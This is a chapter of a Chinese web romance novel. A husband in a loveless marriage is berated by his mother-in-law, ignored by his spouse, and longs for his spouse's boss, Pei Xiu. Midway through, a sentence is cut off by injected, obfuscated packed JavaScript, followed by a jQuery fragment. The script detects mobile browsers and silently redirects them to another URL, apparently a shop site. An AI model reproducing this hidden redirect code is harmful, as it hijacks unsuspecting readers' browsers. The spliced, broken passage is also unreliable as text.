12.等幻想来
作品:《人夫,但野男人更香》 温知许连着失眠几日,感觉身体被掏空,做什么都提不起劲。冰箱里只剩一小串葡萄,他拿出来慢慢洗,动作拖沓得很,像是在拖延,又像是在等一个不会来的人。
门铃突然响,他指尖一顿,沈择言有指纹,从不会按门铃
温知许擦干手走到玄关,从猫眼往外一看,沈母站在门外,身后跟着拎着大包小包的王阿姨。
他打开门,还没来得及说话,沈母已经径直跨了进来,四处张望,像在查验一件货品,居高临下道:“择言呢?”
“他还没回来。”温知许轻声应着,侧身让出位置,从鞋柜拿出拖鞋放在她脚边。
沈母看都没看,踩着高跟鞋直接往里走,王阿姨朝他微微点头,也跟着进了客厅。
温知许关上门,在玄关站了两秒,才端着果盘跟上去。
“妈,吃点水果。”
沈母理睬,看到茶几上枯死的绿萝,眉头一蹙:“花都死成这样了还摆着,多不吉利。”
温知许刚想说等会儿扔掉,她已经移开目光,继续打量屋子。
“你们这房子,住得还习惯吧?”
“习惯。”温知许站在一旁,没敢坐下。
沈母拈起一颗葡萄,看了眼又放下:“不够新鲜,皮都皱了,买的时候不会挑?”
“下次我注意。”他低声应道。
“下次?你们结婚都两年了,你还是这个样子,做什么都不上心。择言在外面那么忙,回到家连口像样的水果都吃不上,你这个老婆是怎么当的?”
温知许垂着头,没说话。
在沈家人面前,他怎么做都是错。从一开始,沈母就没真正认可过他,不过是看他听话、好用,才勉强接受这个挡箭牌。
沈母从包里抽出一张照片,推到他面前:“你看看人家。”
照片上是个陌生女人,妆容得体,笑得端庄自信。
“这是陈家女儿,比你大两岁,人家结婚一年生了儿子,现在二胎都有了。你看看你,择言都快三十了,你想让我们沈家等到什么时候?”
“我就知道你这种人说不通。当初择言要和你定下来,我就不同意。你什么家境,我们什么家境?能让你站在他身边,是给你面子,懂不懂?不珍惜、不伺候、不生孩子,你对得起谁?”
字字句句带刺,扎得他心口痛。
温知许垂着眼,拼命把翻涌的委屈往下压。他想哭,想蹲下来把自己缩成一团,可他不能。这里到处是眼睛,一哭,就真的彻底输了。
“妈,我代孕是违法的。”
沈母脸一沉,话被呛住,盯着他片刻,又想到新的由头指。
“你看看你穿的是什么?不嫌丢人?择言好歹是公司高管,你作为他的太太,连件像样的衣服都没有,别人会怎么看他?会觉得他养不起你,会觉得他不疼你,会觉得你们夫妻感情不好——你知不知道,这些话传出去,对他的事业有多大影响?”
温知许低头,这件衣服他穿了三年,确实旧了,可他觉得还能穿。他不喜欢逛街,没有那个心思,也没有那个必要。他在这个家里是透明的,透明的穿什么都一样。
可沈母不这么想。“明天有个饭局,陈太太也会去,你到时候穿得体面一点,别给我丢人。”
温知许睫毛一颤。
饭局。
他下意识想起上次晚宴,想起那道落在自己身上的目光,心跳不受控制地乱了。
“听见没有?”
“听见了。”
沈母站起身,理了理裙子:“我走了,你自己好好想想。别整天闷在家里,对择言上点心,别总让他往外跑。”
温知许知道,她口中的往外跑,是跑去沈择言真正放在心上的人那里。
只是她不愿承认,宁愿把所有错都算在他头上。
他送到门口,沈母一言不发地离开。
王阿姨经过时,飞快地看了他一眼,透着几分无力的歉意。
门关上了,终于安静了。
温知许走回客厅,拿起枯死的绿萝,扔进垃圾桶,闷响一声,像什么东西碎了。
他忽然觉得,自己和这盆绿萝没什么两样,被丢在不合适的地方,无人在意,慢慢枯萎。
然后他坐在沙发上,一动不动,直到天色彻底暗下来。
屋里没开灯,他一个人陷在黑暗里,手机安安静静,没有一条消息。
沈择言九点多才回来。
开门时带着淡淡的酒气,领带松垮,领口敞开,他看见黑暗里的温知许,皱了下眉:“怎么不开灯?”
温知许没应声。
沈择言按亮灯,刺眼的白光让他眯了眯眼,然后往沙发上一靠,闭眼揉着太阳穴,一副被应酬耗空的模样。
“你妈今天来了。”温知许轻声说。
沈择言动作顿了顿,敷衍应了声:“嗯。”
“她拿了陈家女儿的照片,说人家一年生一个孩子。她说我不生孩子,不懂事,拴不住你,说我配不上你,穿得丢人。”
沈择言不耐烦看了他一下,“她就这样,你别往心里去。”
一句轻飘飘的“别往心里去”,就打发了他半小时的难堪。
没有维护,没有解释,连一句“她说得不对”都吝啬。
在他眼里,自己本就是用来挡麻烦的,受点委屈理所当然。
温知许低下头,看着掌心被自己掐出的红印。皮肤会愈合,可心上的伤只会一道叠一道,叠到麻木,叠到不再疼,不是好了,是快死了。
“还有别的事吗?”
温知许摇了摇头。
他起身走向浴室,经过温知许身边时,低头看了一眼。
沙发上的人缩着身子,垂着眼,像只被雨淋湿、无处可躲的小猫。
但只两秒,他便移开目光,推门进了浴室。
温知许怔怔望着浴室门,脑子里不受控制地冒出一个念头——
如果刚才站在这里的是裴修,会怎么样?
他会不会在沈母开口第一句时就把他护在身后,会不会说“他很好,不用你指手画脚”,会不会说“你们配不上他”?
眼眶一酸,他清楚,那都是幻想。
裴修只是沈择言的上司,只是打过招呼的陌生人,没有理由,也没有身份护着他。
浴室门开了,沈择言穿着浴袍出来,“早点睡。”
他丢下一句,径直走进客卧,门咔嗒一声落了锁。
温知许终于站起身,走进卧室,躺在床上望着天花板。心跳又轻又慢,像一台快要停摆的旧钟。
只有想起裴修的时候,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415681|199761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心脏才会重新跳得有力一点,提醒他自己还活着。
可那也只是幻想。
他没有名分,没有偏爱,没有人心尖上惦记。
只有这间空房,这张冷床,和一个永远不会亮起来的梦。
温知许闭上眼,一滴泪从眼角滑落,滑进鬓角,很快凉透、干涸,像从未存在过。
他不知道,这座城市的另一端,裴修正站在窗前,望着满城灯火,满心满眼都是他。
他在等。
等幻想闯入脑海,等那道暖黄色的灯光,等一个,他触碰不到的人。
这一夜,裴修也等了一整夜。
次日,沈择言接到集团家庭日通知时,脸色就不太好看。高管必须出席,这是裴修亲自批示的活动,没有人敢缺席。
上次晚宴后,裴修对温知许的关注,早已在他心里扎了根刺,即便他不愿承认,可每次想起裴修看温知许的眼神,胸口就闷得发慌,像被重物死死压住。
“周六公司家庭日,你跟我去。”沈择言站在卧室门口,半步未进,依旧是命令和语气,没有半分商量。
温知许沉默片刻,“好。”。
沈择言没再多说一个字,转身就走。
温知许听到玄关门被轻轻带上,他又走了,去公司,或是去见他放在心尖上的苏妄。
温知许早已麻木,不想问,也不想猜。
他从衣柜拿出一件浅蓝色衬衫挂在门把手上,想了想,又换成上次晚宴穿的白衬衫。
不是因为好看,只是因为裴修见过,或许裴修早已不记得,可他想穿,想在那个人面前,穿同一件衣服,当做一个只属于自己的暗号。
周六下午,温知许站在玄关镜前,最后检查自己的穿着。
沈择言从卧室出来,看见他又穿白衬衫时,眉头皱了一下,“穿这件?”
温知许轻轻点头,没做多余解释。
沈择言没再追问,拿起车钥匙,冷冷丢下一句:“走吧。”
家庭日设在裴氏集团旗下的度假村,草坪上搭着白色帐篷,长桌铺着浅蓝桌布,摆满水果、甜点与饮品。
孩子们在草地上嬉笑奔跑,大人们三三两两聚在一起寒暄,氛围比晚宴轻松许多,可温知许却丝毫轻松不起来。
他亦步亦趋跟在沈择言身后,双眼不自觉地在人群中搜寻,不敢太过明显,只是偷偷地像做贼一般,寻找裴修的身影。
裴修是集团总裁,本不必出席这种面向员工的活动,温知许心里清楚,却还是忍不住在每个相似的身影上,寻找他的痕迹,寻找那道清冽又灼热、能让他浑身发烫的目光。
沈择言将他安排在草坪边缘的长椅上,便转身去跟其他高管寒暄,留他独自一人坐着。
他看着眼前阖家欢乐的场景,父母陪伴孩子,伴侣相互依偎,那些人脸上的笑意和温柔,是他这辈子都未曾拥有过的光。
就在这时,他骤然感觉背后有一道目光,炙热而沉重,像一只看不见的手,从他的发顶,慢慢往下滑,滑过后脑勺,滑过后颈,滑过脊椎,一路滑到腰际。
无需回头,无需确认,他的身体比大脑更先认出这道目光,是裴修。
他来了。裴修来了。
就站在他身后的某个角落,灼热滚烫的目光,牢牢锁住自己。

